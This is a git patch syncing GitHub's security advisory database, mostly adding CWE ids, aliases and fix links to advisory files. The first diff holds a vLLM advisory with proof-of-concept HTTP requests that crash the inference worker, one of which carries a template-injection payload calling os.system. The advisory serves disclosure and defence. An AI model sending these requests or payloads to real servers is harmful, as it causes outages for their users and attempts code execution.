From 94b13c7423c61af262f87eeab0724233ae67d04e Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 29 May 2025 21:32:42 +0000
Subject: [PATCH] Advisory Database Sync

---
 .../GHSA-vrq3-r879-7m65.json                  | 10 ++--
 .../GHSA-26rv-q89r-636r.json                  |  4 +-
 .../GHSA-34q6-h993-qch7.json                  |  4 +-
 .../GHSA-3c8f-rxxg-jrxm.json                  |  4 +-
 .../GHSA-5r72-jhpg-7v5v.json                  |  4 +-
 .../GHSA-7644-j7jq-m5v9.json                  |  4 +-
 .../GHSA-7c5x-x6mf-j9j5.json                  |  4 +-
 .../GHSA-9rv6-g3wr-cxfw.json                  |  4 +-
 .../GHSA-cf8q-jcgr-5p7h.json                  |  4 +-
 .../GHSA-fmvv-xf5r-285x.json                  |  4 +-
 .../GHSA-grc6-9mfg-jh27.json                  |  4 +-
 .../GHSA-grpv-5v24-cjrf.json                  |  4 +-
 .../GHSA-hhrg-pm78-4h4p.json                  |  4 +-
 .../GHSA-hx5f-fxhr-8p95.json                  |  3 +-
 .../GHSA-m5qm-mh2p-v9h5.json                  |  4 +-
 .../GHSA-p26f-87hg-4cp6.json                  |  4 +-
 .../GHSA-p5gm-5mcg-gjxp.json                  |  4 +-
 .../GHSA-p8h7-62g7-c54h.json                  |  4 +-
 .../GHSA-q3wm-r93p-mr99.json                  |  4 +-
 .../GHSA-q7qr-35m9-5m25.json                  |  1 +
 .../GHSA-qjvg-8pjv-whmc.json                  |  4 +-
 .../GHSA-r5vj-wcrj-6f7h.json                  |  4 +-
 .../GHSA-vq2h-cpgf-cp92.json                  |  4 +-
 .../GHSA-wm27-533h-mgf3.json                  |  4 +-
 .../GHSA-xq9j-g4hv-hg56.json                  |  4 +-
 .../GHSA-h526-2w67-6rr7.json                  |  2 +-
 .../GHSA-rgg3-prc9-59mw.json                  |  4 +-
 .../GHSA-xv65-m527-x787.json                  |  4 +-
 .../GHSA-69h4-r42q-6wmv.json                  |  1 +
 .../GHSA-6c56-3ggg-5wxc.json                  |  4 +-
 .../GHSA-g32g-9438-h47q.json                  |  4 +-
 .../GHSA-p863-q32c-8f73.json                  |  2 +-
 .../GHSA-46f9-q7p3-mph9.json                  | 52 +++++++++++++++++
 .../GHSA-4h2p-hmwx-g38g.json                  | 36 ++++++++++++
 .../GHSA-4v6j-536v-64fw.json                  | 15 +++--
 .../GHSA-5x56-8gp2-c78j.json                  | 36 ++++++++++++
 .../GHSA-65p9-x3qj-q764.json                  | 56 +++++++++++++++++++
 .../GHSA-72j9-42hm-6rv2.json                  | 15 +++--
 .../GHSA-7j38-84h7-4xcv.json                  | 36 ++++++++++++
 .../GHSA-8pgp-5cg5-c3cj.json                  | 15 +++--
 .../GHSA-9w24-h326-957x.json                  | 48 ++++++++++++++++
 .../GHSA-cccf-vfhh-2vvp.json                  | 15 +++--
 .../GHSA-ch9q-9f6m-54h9.json                  | 15 +++--
 .../GHSA-cxvm-398v-rmfg.json                  | 36 ++++++++++++
 .../GHSA-fc5r-pj7x-f9m3.json                  | 15 +++--
 .../GHSA-gv7f-72rw-m4wf.json                  | 36 ++++++++++++
 .../GHSA-h2fw-rfh5-95r3.json                  | 31 ++++++++++
 .../GHSA-j46p-x79w-x93v.json                  | 48 ++++++++++++++++
 .../GHSA-q4jx-xcc8-66qx.json                  | 36 ++++++++++++
 .../GHSA-r9cv-8q58-jr55.json                  | 36 ++++++++++++
 .../GHSA-r9m9-c69f-7vx9.json                  |  2 +-
 .../GHSA-wjh7-pgpr-92w5.json                  | 52 +++++++++++++++++
 .../GHSA-xg77-2m7h-4885.json                  | 15 +++--
 53 files changed, 705 insertions(+), 64 deletions(-)
 create mode 100644 advisories/unreviewed/2025/05/GHSA-46f9-q7p3-mph9/GHSA-46f9-q7p3-mph9.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-4h2p-hmwx-g38g/GHSA-4h2p-hmwx-g38g.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-5x56-8gp2-c78j/GHSA-5x56-8gp2-c78j.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-65p9-x3qj-q764/GHSA-65p9-x3qj-q764.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-7j38-84h7-4xcv/GHSA-7j38-84h7-4xcv.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-9w24-h326-957x/GHSA-9w24-h326-957x.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-cxvm-398v-rmfg/GHSA-cxvm-398v-rmfg.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-gv7f-72rw-m4wf/GHSA-gv7f-72rw-m4wf.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-j46p-x79w-x93v/GHSA-j46p-x79w-x93v.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-q4jx-xcc8-66qx/GHSA-q4jx-xcc8-66qx.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-r9cv-8q58-jr55/GHSA-r9cv-8q58-jr55.json
 create mode 100644 advisories/unreviewed/2025/05/GHSA-wjh7-pgpr-92w5/GHSA-wjh7-pgpr-92w5.json

diff --git a/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json b/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json
index 2dc9e2af338..7bd512a7433 100644
--- a/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json
+++ b/advisories/github-reviewed/2025/05/GHSA-vrq3-r879-7m65/GHSA-vrq3-r879-7m65.json
@@ -1,11 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-vrq3-r879-7m65",
-  "modified": "2025-05-28T19:42:32Z",
+  "modified": "2025-05-29T21:31:37Z",
   "published": "2025-05-28T19:42:32Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2025-48944"
+  ],
   "summary": "vLLM Tool Schema allows DoS via Malformed pattern and type Fields",
-  "details": "### Summary\nThe vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. \n\n### Details\nThe \"type\" field is expected to be one of: \"string\", \"number\", \"object\", \"boolean\", \"array\", or \"null\". Supplying any other value will cause the worker to crash with the following error:\n\nRuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type \"something_or_nothing\"\n\nThe \"pattern\" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.\n\nFor example, the following inputs will crash the worker:\n\nUnclosed {, [, or (\n\nClosed:{} and []\n\nHere are some of runtime errors on the crash depending on what gets injected:\n\nRuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.\nRuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.\nRuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.\n\n### PoC\nHere is the POST request using the type field to crash the worker. Note the type field is set to \"something\" rather than the expected types it is looking for:\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 579\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [{ \"role\": \"user\", \"content\": \"crash via type\" }],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash01\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"something\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash01\",\n      \"arguments\": { \"a\": \"test\" }\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 1\n}\n\nHere is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.\n\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 718\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": \"Crash via Pattern\"\n    }\n  ],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash02\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"string\",\n\"pattern\": \"{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash02\"\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"temperature\": 0.2,\n  \"top_p\": 1,\n  \"n\": 1\n}\n\n### Impact\nBackend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. \n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/18454",
+  "details": "### Summary\nThe vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. \n\n### Details\nThe \"type\" field is expected to be one of: \"string\", \"number\", \"object\", \"boolean\", \"array\", or \"null\". Supplying any other value will cause the worker to crash with the following error:\n\nRuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type \"something_or_nothing\"\n\nThe \"pattern\" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.\n\nFor example, the following inputs will crash the worker:\n\nUnclosed {, [, or (\n\nClosed:{} and []\n\nHere are some of runtime errors on the crash depending on what gets injected:\n\nRuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.\nRuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.\nRuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.\n\n### PoC\nHere is the POST request using the type field to crash the worker. Note the type field is set to \"something\" rather than the expected types it is looking for:\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 579\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [{ \"role\": \"user\", \"content\": \"crash via type\" }],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash01\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"something\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash01\",\n      \"arguments\": { \"a\": \"test\" }\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 1\n}\n\nHere is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.\n\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 718\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n  \"model\": \"mistral-nemo-instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": \"Crash via Pattern\"\n    }\n  ],\n  \"tools\": [\n    {\n      \"type\": \"function\",\n      \"function\": {\n        \"name\": \"crash02\",\n        \"parameters\": {\n          \"type\": \"object\",\n          \"properties\": {\n            \"a\": {\n              \"type\": \"string\",\n\"pattern\": \"{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}\"\n            }\n          }\n        }\n      }\n    }\n  ],\n  \"tool_choice\": {\n    \"type\": \"function\",\n    \"function\": {\n      \"name\": \"crash02\"\n    }\n  },\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"temperature\": 0.2,\n  \"top_p\": 1,\n  \"n\": 1\n}\n\n### Impact\nBackend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. \n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -40,7 +42,7 @@
     },
     {
       "type": "WEB",
-      "url": "https://github.com/vllm-project/vllm/pull/18454"
+      "url": "https://github.com/vllm-project/vllm/pull/17623"
     },
     {
       "type": "PACKAGE",
diff --git a/advisories/unreviewed/2022/08/GHSA-26rv-q89r-636r/GHSA-26rv-q89r-636r.json b/advisories/unreviewed/2022/08/GHSA-26rv-q89r-636r/GHSA-26rv-q89r-636r.json
index 719b9337821..f3895b0e0b7 100644
--- a/advisories/unreviewed/2022/08/GHSA-26rv-q89r-636r/GHSA-26rv-q89r-636r.json
+++ b/advisories/unreviewed/2022/08/GHSA-26rv-q89r-636r/GHSA-26rv-q89r-636r.json
@@ -45,7 +45,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-119"
+    ],
     "severity": "CRITICAL",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-34q6-h993-qch7/GHSA-34q6-h993-qch7.json b/advisories/unreviewed/2022/08/GHSA-34q6-h993-qch7/GHSA-34q6-h993-qch7.json
index 5224d15a752..62d5af23e9f 100644
--- a/advisories/unreviewed/2022/08/GHSA-34q6-h993-qch7/GHSA-34q6-h993-qch7.json
+++ b/advisories/unreviewed/2022/08/GHSA-34q6-h993-qch7/GHSA-34q6-h993-qch7.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-94"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-3c8f-rxxg-jrxm/GHSA-3c8f-rxxg-jrxm.json b/advisories/unreviewed/2022/08/GHSA-3c8f-rxxg-jrxm/GHSA-3c8f-rxxg-jrxm.json
index 640e78f1b43..bc69d278cc9 100644
--- a/advisories/unreviewed/2022/08/GHSA-3c8f-rxxg-jrxm/GHSA-3c8f-rxxg-jrxm.json
+++ b/advisories/unreviewed/2022/08/GHSA-3c8f-rxxg-jrxm/GHSA-3c8f-rxxg-jrxm.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-5r72-jhpg-7v5v/GHSA-5r72-jhpg-7v5v.json b/advisories/unreviewed/2022/08/GHSA-5r72-jhpg-7v5v/GHSA-5r72-jhpg-7v5v.json
index 18b4bcc8704..aae9c6dcf7a 100644
--- a/advisories/unreviewed/2022/08/GHSA-5r72-jhpg-7v5v/GHSA-5r72-jhpg-7v5v.json
+++ b/advisories/unreviewed/2022/08/GHSA-5r72-jhpg-7v5v/GHSA-5r72-jhpg-7v5v.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-200"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-7644-j7jq-m5v9/GHSA-7644-j7jq-m5v9.json b/advisories/unreviewed/2022/08/GHSA-7644-j7jq-m5v9/GHSA-7644-j7jq-m5v9.json
index 94f7427a6ef..2b2bf30e44b 100644
--- a/advisories/unreviewed/2022/08/GHSA-7644-j7jq-m5v9/GHSA-7644-j7jq-m5v9.json
+++ b/advisories/unreviewed/2022/08/GHSA-7644-j7jq-m5v9/GHSA-7644-j7jq-m5v9.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-94"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-7c5x-x6mf-j9j5/GHSA-7c5x-x6mf-j9j5.json b/advisories/unreviewed/2022/08/GHSA-7c5x-x6mf-j9j5/GHSA-7c5x-x6mf-j9j5.json
index 0dbe453b750..3079f2b8689 100644
--- a/advisories/unreviewed/2022/08/GHSA-7c5x-x6mf-j9j5/GHSA-7c5x-x6mf-j9j5.json
+++ b/advisories/unreviewed/2022/08/GHSA-7c5x-x6mf-j9j5/GHSA-7c5x-x6mf-j9j5.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-400"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-9rv6-g3wr-cxfw/GHSA-9rv6-g3wr-cxfw.json b/advisories/unreviewed/2022/08/GHSA-9rv6-g3wr-cxfw/GHSA-9rv6-g3wr-cxfw.json
index 0763d23ad84..fbbf9375774 100644
--- a/advisories/unreviewed/2022/08/GHSA-9rv6-g3wr-cxfw/GHSA-9rv6-g3wr-cxfw.json
+++ b/advisories/unreviewed/2022/08/GHSA-9rv6-g3wr-cxfw/GHSA-9rv6-g3wr-cxfw.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-cf8q-jcgr-5p7h/GHSA-cf8q-jcgr-5p7h.json b/advisories/unreviewed/2022/08/GHSA-cf8q-jcgr-5p7h/GHSA-cf8q-jcgr-5p7h.json
index 9a50d95890b..51d6db1698e 100644
--- a/advisories/unreviewed/2022/08/GHSA-cf8q-jcgr-5p7h/GHSA-cf8q-jcgr-5p7h.json
+++ b/advisories/unreviewed/2022/08/GHSA-cf8q-jcgr-5p7h/GHSA-cf8q-jcgr-5p7h.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-94"
+    ],
     "severity": "CRITICAL",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-fmvv-xf5r-285x/GHSA-fmvv-xf5r-285x.json b/advisories/unreviewed/2022/08/GHSA-fmvv-xf5r-285x/GHSA-fmvv-xf5r-285x.json
index 14def9aa26a..529d5de1842 100644
--- a/advisories/unreviewed/2022/08/GHSA-fmvv-xf5r-285x/GHSA-fmvv-xf5r-285x.json
+++ b/advisories/unreviewed/2022/08/GHSA-fmvv-xf5r-285x/GHSA-fmvv-xf5r-285x.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-grc6-9mfg-jh27/GHSA-grc6-9mfg-jh27.json b/advisories/unreviewed/2022/08/GHSA-grc6-9mfg-jh27/GHSA-grc6-9mfg-jh27.json
index e22d54014ba..b2001c0e71d 100644
--- a/advisories/unreviewed/2022/08/GHSA-grc6-9mfg-jh27/GHSA-grc6-9mfg-jh27.json
+++ b/advisories/unreviewed/2022/08/GHSA-grc6-9mfg-jh27/GHSA-grc6-9mfg-jh27.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-400"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-grpv-5v24-cjrf/GHSA-grpv-5v24-cjrf.json b/advisories/unreviewed/2022/08/GHSA-grpv-5v24-cjrf/GHSA-grpv-5v24-cjrf.json
index 9a31aeca9d7..2287efa980f 100644
--- a/advisories/unreviewed/2022/08/GHSA-grpv-5v24-cjrf/GHSA-grpv-5v24-cjrf.json
+++ b/advisories/unreviewed/2022/08/GHSA-grpv-5v24-cjrf/GHSA-grpv-5v24-cjrf.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-hhrg-pm78-4h4p/GHSA-hhrg-pm78-4h4p.json b/advisories/unreviewed/2022/08/GHSA-hhrg-pm78-4h4p/GHSA-hhrg-pm78-4h4p.json
index 8e5958dc1ab..db8559e80da 100644
--- a/advisories/unreviewed/2022/08/GHSA-hhrg-pm78-4h4p/GHSA-hhrg-pm78-4h4p.json
+++ b/advisories/unreviewed/2022/08/GHSA-hhrg-pm78-4h4p/GHSA-hhrg-pm78-4h4p.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-hx5f-fxhr-8p95/GHSA-hx5f-fxhr-8p95.json b/advisories/unreviewed/2022/08/GHSA-hx5f-fxhr-8p95/GHSA-hx5f-fxhr-8p95.json
index 2072d33b210..0913f7bc34f 100644
--- a/advisories/unreviewed/2022/08/GHSA-hx5f-fxhr-8p95/GHSA-hx5f-fxhr-8p95.json
+++ b/advisories/unreviewed/2022/08/GHSA-hx5f-fxhr-8p95/GHSA-hx5f-fxhr-8p95.json
@@ -34,7 +34,8 @@
   ],
   "database_specific": {
     "cwe_ids": [
-      "CWE-119"
+      "CWE-119",
+      "CWE-667"
     ],
     "severity": "HIGH",
     "github_reviewed": false,
diff --git a/advisories/unreviewed/2022/08/GHSA-m5qm-mh2p-v9h5/GHSA-m5qm-mh2p-v9h5.json b/advisories/unreviewed/2022/08/GHSA-m5qm-mh2p-v9h5/GHSA-m5qm-mh2p-v9h5.json
index 05db24a9d24..3803b341020 100644
--- a/advisories/unreviewed/2022/08/GHSA-m5qm-mh2p-v9h5/GHSA-m5qm-mh2p-v9h5.json
+++ b/advisories/unreviewed/2022/08/GHSA-m5qm-mh2p-v9h5/GHSA-m5qm-mh2p-v9h5.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-p26f-87hg-4cp6/GHSA-p26f-87hg-4cp6.json b/advisories/unreviewed/2022/08/GHSA-p26f-87hg-4cp6/GHSA-p26f-87hg-4cp6.json
index c52b49d4698..d9b041d76fc 100644
--- a/advisories/unreviewed/2022/08/GHSA-p26f-87hg-4cp6/GHSA-p26f-87hg-4cp6.json
+++ b/advisories/unreviewed/2022/08/GHSA-p26f-87hg-4cp6/GHSA-p26f-87hg-4cp6.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-787"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-p5gm-5mcg-gjxp/GHSA-p5gm-5mcg-gjxp.json b/advisories/unreviewed/2022/08/GHSA-p5gm-5mcg-gjxp/GHSA-p5gm-5mcg-gjxp.json
index 4427d11109b..f5224fbce7f 100644
--- a/advisories/unreviewed/2022/08/GHSA-p5gm-5mcg-gjxp/GHSA-p5gm-5mcg-gjxp.json
+++ b/advisories/unreviewed/2022/08/GHSA-p5gm-5mcg-gjxp/GHSA-p5gm-5mcg-gjxp.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-p8h7-62g7-c54h/GHSA-p8h7-62g7-c54h.json b/advisories/unreviewed/2022/08/GHSA-p8h7-62g7-c54h/GHSA-p8h7-62g7-c54h.json
index aa97ee4b8b4..dde21776d4f 100644
--- a/advisories/unreviewed/2022/08/GHSA-p8h7-62g7-c54h/GHSA-p8h7-62g7-c54h.json
+++ b/advisories/unreviewed/2022/08/GHSA-p8h7-62g7-c54h/GHSA-p8h7-62g7-c54h.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-q3wm-r93p-mr99/GHSA-q3wm-r93p-mr99.json b/advisories/unreviewed/2022/08/GHSA-q3wm-r93p-mr99/GHSA-q3wm-r93p-mr99.json
index 82ee63c83fe..2b5b2c1db53 100644
--- a/advisories/unreviewed/2022/08/GHSA-q3wm-r93p-mr99/GHSA-q3wm-r93p-mr99.json
+++ b/advisories/unreviewed/2022/08/GHSA-q3wm-r93p-mr99/GHSA-q3wm-r93p-mr99.json
@@ -33,7 +33,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-200"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-q7qr-35m9-5m25/GHSA-q7qr-35m9-5m25.json b/advisories/unreviewed/2022/08/GHSA-q7qr-35m9-5m25/GHSA-q7qr-35m9-5m25.json
index 0fb0b4f01f1..2e8df7c348b 100644
--- a/advisories/unreviewed/2022/08/GHSA-q7qr-35m9-5m25/GHSA-q7qr-35m9-5m25.json
+++ b/advisories/unreviewed/2022/08/GHSA-q7qr-35m9-5m25/GHSA-q7qr-35m9-5m25.json
@@ -30,6 +30,7 @@
   ],
   "database_specific": {
     "cwe_ids": [
+      "CWE-20",
       "CWE-94"
     ],
     "severity": "HIGH",
diff --git a/advisories/unreviewed/2022/08/GHSA-qjvg-8pjv-whmc/GHSA-qjvg-8pjv-whmc.json b/advisories/unreviewed/2022/08/GHSA-qjvg-8pjv-whmc/GHSA-qjvg-8pjv-whmc.json
index 1afa488872d..db12a140a91 100644
--- a/advisories/unreviewed/2022/08/GHSA-qjvg-8pjv-whmc/GHSA-qjvg-8pjv-whmc.json
+++ b/advisories/unreviewed/2022/08/GHSA-qjvg-8pjv-whmc/GHSA-qjvg-8pjv-whmc.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "MODERATE",
     "github_reviewed": false,
     "github_reviewed_at": null,
diff --git a/advisories/unreviewed/2022/08/GHSA-r5vj-wcrj-6f7h/GHSA-r5vj-wcrj-6f7h.json b/advisories/unreviewed/2022/08/GHSA-r5vj-wcrj-6f7h/GHSA-r5vj-wcrj-6f7h.json
index 04e6b0c839b..b22b61ce729 100644
--- a/advisories/unreviewed/2022/08/GHSA-r5vj-wcrj-6f7h/GHSA-r5vj-wcrj-6f7h.json
+++ b/advisories/unreviewed/2022/08/GHSA-r5vj-wcrj-6f7h/GHSA-r5vj-wcrj-6f7h.json
@@ -29,7 +29,9 @@
     }
   ],
   "database_specific": {
-    "cwe_ids": [],
+    "cwe_ids": [
+      "CWE-269"
+    ],
     "severity": "HIGH",
     "github_reviewed": false,
     "github_reviewed_at": null,
